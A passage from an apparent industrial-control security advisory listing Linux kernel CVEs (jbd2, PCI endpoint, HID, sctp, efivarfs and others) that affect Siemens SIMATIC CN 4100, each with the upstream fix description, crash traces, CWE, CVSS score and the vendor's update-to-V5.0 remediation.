free_pud_range+0x8b0/0x8d0 [ 2.553199] Call Trace: [ 2.553207] [c0000000622e7650] [c0000000007eef30] free_pud_range+0x8b0/0x8d0 (unreliable) [ 2.553229] [c0000000622e7750] [c0000000007f40b4] free_pgd_range+0x284/0x3b0 [ 2.553248] [c0000000622e7800] [c0000000007f4630] free_pgtables+0x450/0x570 [ 2.553274] [c0000000622e78e0] [c0000000008161c0] exit_mmap+0x250/0x650 [ 2.553292] [c0000000622e7a30] [c0000000001b95b8] __mmput+0x98/0x290 [ 2.558344] [c0000000622e7a80] [c0000000001d1018] exit_mm+0x118/0x1b0 [ 2.558361] [c0000000622e7ac0] [c0000000001d141c] do_exit+0x2ec/0x870 [ 2.558376] [c0000000622e7b60] [c0000000001d1ca8] do_group_exit+0x88/0x150 [ 2.558391] [c0000000622e7bb0] [c0000000001d1db8] sys_exit_group+0x48/0x50 [ 2.558407] [c0000000622e7be0] [c00000000003d810] system_call_exception+0x1e0/0x4c0 [ 2.558423] [c0000000622e7e50] [c00000000000d05c] system_call_vectored_common+0x15c/0x2ec (...) [ 2.558892] ---[ end trace 0000000000000000 ]--- [ 2.559022] BUG: Bad rss-counter state mm:000000002267cc9e type:MM_ANONPAGES val:1 [ 2.559037] BUG: non-zero pgtables_bytes on freeing mm: -6144 Here the modprobe process ended up with an allocated mm_struct from the mm_struct slab that was used before by the debug_vm_pgtable test. That is not a problem, since the mm_stru ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39782\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jbd2: prevent softlockup in jbd2_log_do_checkpoint() Both jbd2_log_do_checkpoint() and jbd2_journal_shrink_checkpoint_list() periodically release j_list_lock after processing a batch of buffers to avoid long hold times on the j_list_lock. However, since both functions contend for j_list_lock, the combined time spent waiting and processing can be significant. jbd2_journal_shrink_checkpoint_list() explicitly calls cond_resched() when need_resched() is true to avoid softlockups during prolonged operations. But jbd2_log_do_checkpoint() only exits its loop when need_resched() is true, relying on potentially sleeping functions like __flush_batch() or wait_on_buffer() to trigger rescheduling. If those functions do not sleep, the kernel may hit a softlockup. watchdog: BUG: soft lockup - CPU#3 stuck for 156s! [kworker/u129:2:373] CPU: 3 PID: 373 Comm: kworker/u129:2 Kdump: loaded Not tainted 6.6.0+ #10 Hardware name: Huawei TaiShan 2280 /BC11SPCD, BIOS 1.27 06/13/2017 Workqueue: writeback wb_workfn (flush-7:2) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : native_queued_spin_lock_slowpath+0x358/0x418 lr : jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] Call trace: native_queued_spin_lock_slowpath+0x358/0x418 jbd2_log_do_checkpoint+0x31c/0x438 [jbd2] __jbd2_log_wait_for_space+0xfc/0x2f8 [jbd2] add_transaction_credits+0x3bc/0x418 [jbd2] start_this_handle+0xf8/0x560 [jbd2] jbd2__journal_start+0x118/0x228 [jbd2] __ext4_journal_start_sb+0x110/0x188 [ext4] ext4_do_writepages+0x3dc/0x740 [ext4] ext4_writepages+0xa4/0x190 [ext4] do_writepages+0x94/0x228 __writeback_single_inode+0x48/0x318 writeback_sb_inodes+0x204/0x590 __writeback_inodes_wb+0x54/0xf8 wb_writeback+0x2cc/0x3d8 wb_do_writeback+0x2e0/0x2f8 wb_workfn+0x80/0x2a8 process_one_work+0x178/0x3e8 worker_thread+0x234/0x3b8 kthread+0xf0/0x108 ret_from_fork+0x10/0x20 So explicitly call cond_resched() in jbd2_log_do_checkpoint() to avoid softlockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39783\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: PCI: endpoint: Fix configfs group list head handling Doing a list_del() on the epf_group field of struct pci_epf_driver in pci_epf_remove_cfs() is not correct as this field is a list head, not a list entry. This list_del() call triggers a KASAN warning when an endpoint function driver which has a configfs attribute group is torn down: ================================================================== BUG: KASAN: slab-use-after-free in pci_epf_remove_cfs+0x17c/0x198 Write of size 8 at addr ffff00010f4a0d80 by task rmmod/319 CPU: 3 UID: 0 PID: 319 Comm: rmmod Not tainted 6.16.0-rc2 #1 NONE Hardware name: Radxa ROCK 5B (DT) Call trace: show_stack+0x2c/0x84 (C) dump_stack_lvl+0x70/0x98 print_report+0x17c/0x538 kasan_report+0xb8/0x190 __asan_report_store8_noabort+0x20/0x2c pci_epf_remove_cfs+0x17c/0x198 pci_epf_unregister_driver+0x18/0x30 nvmet_pci_epf_cleanup_module+0x24/0x30 [nvmet_pci_epf] __arm64_sys_delete_module+0x264/0x424 invoke_syscall+0x70/0x260 el0_svc_common.constprop.0+0xac/0x230 do_el0_svc+0x40/0x58 el0_svc+0x48/0xdc el0t_64_sync_handler+0x10c/0x138 el0t_64_sync+0x198/0x19c ... Remove this incorrect list_del() call from pci_epf_remove_cfs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39787\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: soc: qcom: mdt_loader: Ensure we don't read past the ELF header When the MDT loader is used in remoteproc, the ELF header is sanitized beforehand, but that's not necessary the case for other clients. Validate the size of the firmware buffer to ensure that we don't read past the end as we iterate over the header. e_phentsize and e_shentsize are validated as well, to ensure that the assumptions about step size in the traversal are valid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39788\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: ufs: exynos: Fix programming of HCI_UTRL_NEXUS_TYPE On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0. This is because the left hand side of the shift is 1, which is of type int, i.e. 31 bits wide. Shifting by more than that width results in undefined behaviour. Fix this by switching to the BIT() macro, which applies correct type casting as required. This ensures the correct value is written to UTRL_NEXUS_TYPE (0xffffffff on gs101), and it also fixes a UBSAN shift warning: UBSAN: shift-out-of-bounds in drivers/ufs/host/ufs-exynos.c:1113:21 shift exponent 32 is too large for 32-bit type 'int' For consistency, apply the same change to the nutmrs / UTMRL_NEXUS_TYPE write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39790\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bus: mhi: host: Detect events pointing to unexpected TREs When a remote device sends a completion event to the host, it contains a pointer to the consumed TRE. The host uses this pointer to process all of the TREs between it and the host's local copy of the ring's read pointer. This works when processing completion for chained transactions, but can lead to nasty results if the device sends an event for a single-element transaction with a read pointer that is multiple elements ahead of the host's read pointer. For instance, if the host accesses an event ring while the device is updating it, the pointer inside of the event might still point to an old TRE. If the host uses the channel's xfer_cb() to directly free the buffer pointed to by the TRE, the buffer will be double-freed. This behavior was observed on an ep that used upstream EP stack without 'commit 6f18d174b73d (\"bus: mhi: ep: Update read pointer only after buffer is written\")'. Where the device updated the events ring pointer before updating the event contents, so it left a window where the host was able to access the stale data the event pointed to, before the device had the chance to update them. The usual pattern was that the host received an event pointing to a TRE that is not immediately after the last processed one, so it got treated as if it was a chained transaction, processing all of the TREs in between the two read pointers. This commit aims to harden the host by ensuring transactions where the event points to a TRE that isn't local_rp + 1 are chained. [mani: added stable tag and reworded commit message]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.7\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39794\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: tegra: Use I/O memcpy to write to IRAM Kasan crashes the kernel trying to check boundaries when using the normal memcpy.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39795\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: block: avoid possible overflow for chunk_sectors check in blk_stack_limits() In blk_stack_limits(), we check that the t->chunk_sectors value is a multiple of the t->physical_block_size value. However, by finding the chunk_sectors value in bytes, we may overflow the unsigned int which holds chunk_sectors, so change the check to be based on sectors.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39798\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: NFS: Fix the setting of capabilities when automounting a new filesystem Capabilities cannot be inherited when we cross into a new filesystem. They need to be reset to the minimal defaults, and then probed for again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-273 Improper Check for Dropped Privileges\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39800\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: abort transaction on unexpected eb generation at btrfs_copy_root() If we find an unexpected generation for the extent buffer we are cloning at btrfs_copy_root(), we just WARN_ON() and don't error out and abort the transaction, meaning we allow to persist metadata with an unexpected generation. Instead of warning only, abort the transaction and return -EUCLEAN.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39801\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: dwc3: Remove WARN_ON for device endpoint command timeouts This commit addresses a rarely observed endpoint command timeout which causes kernel panic due to warn when 'panic_on_warn' is enabled and unnecessary call trace prints when 'panic_on_warn' is disabled. It is seen during fast software-controlled connect/disconnect testcases. The following is one such endpoint command timeout that we observed: 1. Connect ======= ->dwc3_thread_interrupt ->dwc3_ep0_interrupt ->configfs_composite_setup ->composite_setup ->usb_ep_queue ->dwc3_gadget_ep0_queue ->__dwc3_gadget_ep0_queue ->__dwc3_ep0_do_control_data ->dwc3_send_gadget_ep_cmd 2. Disconnect ========== ->dwc3_thread_interrupt ->dwc3_gadget_disconnect_interrupt ->dwc3_ep0_reset_state ->dwc3_ep0_end_control_data ->dwc3_send_gadget_ep_cmd In the issue scenario, in Exynos platforms, we observed that control transfers for the previous connect have not yet been completed and end transfer command sent as a part of the disconnect sequence and processing of USB_ENDPOINT_HALT feature request from the host timeout. This maybe an expected scenario since the controller is processing EP commands sent as a part of the previous connect. It maybe better to remove WARN_ON in all places where device endpoint commands are sent to avoid unnecessary kernel panic due to warn.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39806\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix slab out-of-bounds access in mt_report_fixup() A malicious HID device can trigger a slab out-of-bounds during mt_report_fixup() by passing in report descriptor smaller than 607 bytes. mt_report_fixup() attempts to patch byte offset 607 of the descriptor with 0x25 by first checking if byte offset 607 is 0x15 however it lacks bounds checks to verify if the descriptor is big enough before conducting this check. Fix this bug by ensuring the descriptor size is at least 608 bytes before accessing it. Below is the KASAN splat after the out of bounds access happens: [ 13.671954] ================================================================== [ 13.672667] BUG: KASAN: slab-out-of-bounds in mt_report_fixup+0x103/0x110 [ 13.673297] Read of size 1 at addr ffff888103df39df by task kworker/0:1/10 [ 13.673297] [ 13.673297] CPU: 0 UID: 0 PID: 10 Comm: kworker/0:1 Not tainted 6.15.0-00005-gec5d573d83f4-dirty #3 [ 13.673297] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/04 [ 13.673297] Call Trace: [ 13.673297] [ 13.673297] dump_stack_lvl+0x5f/0x80 [ 13.673297] print_report+0xd1/0x660 [ 13.673297] kasan_report+0xe5/0x120 [ 13.673297] __asan_report_load1_noabort+0x18/0x20 [ 13.673297] mt_report_fixup+0x103/0x110 [ 13.673297] hid_open_report+0x1ef/0x810 [ 13.673297] mt_probe+0x422/0x960 [ 13.673297] hid_device_probe+0x2e2/0x6f0 [ 13.673297] really_probe+0x1c6/0x6b0 [ 13.673297] __driver_probe_device+0x24f/0x310 [ 13.673297] driver_probe_device+0x4e/0x220 [ 13.673297] __device_attach_driver+0x169/0x320 [ 13.673297] bus_for_each_drv+0x11d/0x1b0 [ 13.673297] __device_attach+0x1b8/0x3e0 [ 13.673297] device_initial_probe+0x12/0x20 [ 13.673297] bus_probe_device+0x13d/0x180 [ 13.673297] device_add+0xe3a/0x1670 [ 13.673297] hid_add_device+0x31d/0xa40 [...]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39808\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: HID: hid-ntrig: fix unable to handle page fault in ntrig_report_version() in ntrig_report_version(), hdev parameter passed from hid_probe(). sending descriptor to /dev/uhid can make hdev->dev.parent->parent to null if hdev->dev.parent->parent is null, usb_dev has invalid address(0xffffffffffffff58) that hid_to_usb_dev(hdev) returned when usb_rcvctrlpipe() use usb_dev,it trigger page fault error for address(0xffffffffffffff58) add null check logic to ntrig_report_version() before calling hid_to_usb_dev()\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39812\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: sctp: initialize more fields in sctp_v6_from_sk() syzbot found that sin6_scope_id was not properly initialized, leading to undefined behavior. Clear sin6_scope_id and sin6_flowinfo. BUG: KMSAN: uninit-value in __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 __sctp_v6_cmp_addr+0x887/0x8c0 net/sctp/ipv6.c:649 sctp_inet6_cmp_addr+0x4f2/0x510 net/sctp/ipv6.c:983 sctp_bind_addr_conflict+0x22a/0x3b0 net/sctp/bind_addr.c:390 sctp_get_port_local+0x21eb/0x2440 net/sctp/socket.c:8452 sctp_get_port net/sctp/socket.c:8523 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x710/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930 x64_sys_call+0x271d/0x3e20 arch/x86/include/generated/asm/syscalls_64.h:51 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xd9/0x210 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Local variable addr.i.i created at: sctp_get_port net/sctp/socket.c:8515 [inline] sctp_listen_start net/sctp/socket.c:8567 [inline] sctp_inet_listen+0x650/0xfd0 net/sctp/socket.c:8636 __sys_listen_socket net/socket.c:1912 [inline] __sys_listen net/socket.c:1927 [inline] __do_sys_listen net/socket.c:1932 [inline] __se_sys_listen net/socket.c:1930 [inline] __x64_sys_listen+0x343/0x4c0 net/socket.c:1930\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39813\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Fix potential warning in trace_printk_seq during ftrace_dump When calling ftrace_dump_one() concurrently with reading trace_pipe, a WARN_ON_ONCE() in trace_printk_seq() can be triggered due to a race condition. The issue occurs because: CPU0 (ftrace_dump) CPU1 (reader) echo z > /proc/sysrq-trigger !trace_empty(&iter) trace_iterator_reset(&iter) <- len = size = 0 cat /sys/kernel/tracing/trace_pipe trace_find_next_entry_inc(&iter) __find_next_entry ring_buffer_empty_cpu <- all empty return NULL trace_printk_seq(&iter.seq) WARN_ON_ONCE(s->seq.len >= s->seq.size) In the context between trace_empty() and trace_find_next_entry_inc() during ftrace_dump, the ring buffer data was consumed by other readers. This caused trace_find_next_entry_inc to return NULL, failing to populate `iter.seq`. At this point, due to the prior trace_iterator_reset, both `iter.seq.len` and `iter.seq.size` were set to 0. Since they are equal, the WARN_ON_ONCE condition is triggered. Move the trace_printk_seq() into the if block that checks to make sure the return value of trace_find_next_entry_inc() is non-NULL in ftrace_dump_one(), ensuring the 'iter.seq' is properly populated before subsequent operations.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39817\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare Observed on kernel 6.6 (present on master as well): BUG: KASAN: slab-out-of-bounds in memcmp+0x98/0xd0 Call trace: kasan_check_range+0xe8/0x190 __asan_loadN+0x1c/0x28 memcmp+0x98/0xd0 efivarfs_d_compare+0x68/0xd8 __d_lookup_rcu_op_compare+0x178/0x218 __d_lookup_rcu+0x1f8/0x228 d_alloc_parallel+0x150/0x648 lookup_open.isra.0+0x5f0/0x8d0 open_last_lookups+0x264/0x828 path_openat+0x130/0x3f8 do_filp_open+0x114/0x248 do_sys_openat2+0x340/0x3c0 __arm64_sys_openat+0x120/0x1a0 If dentry->d_name.len < EFI_VARIABLE_GUID_LEN , 'guid' can become negative, leadings to oob. The issue can be triggered by parallel lookups using invalid filename: T1 T2 lookup_open ->lookup simple_lookup d_add // invalid dentry is added to hash list lookup_open d_alloc_parallel __d_lookup_rcu __d_lookup_rcu_op_compare hlist_bl_for_each_entry_rcu // invalid dentry can be retrieved ->d_compare efivarfs_d_compare // oob Fix it by checking 'guid' before cmp.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div 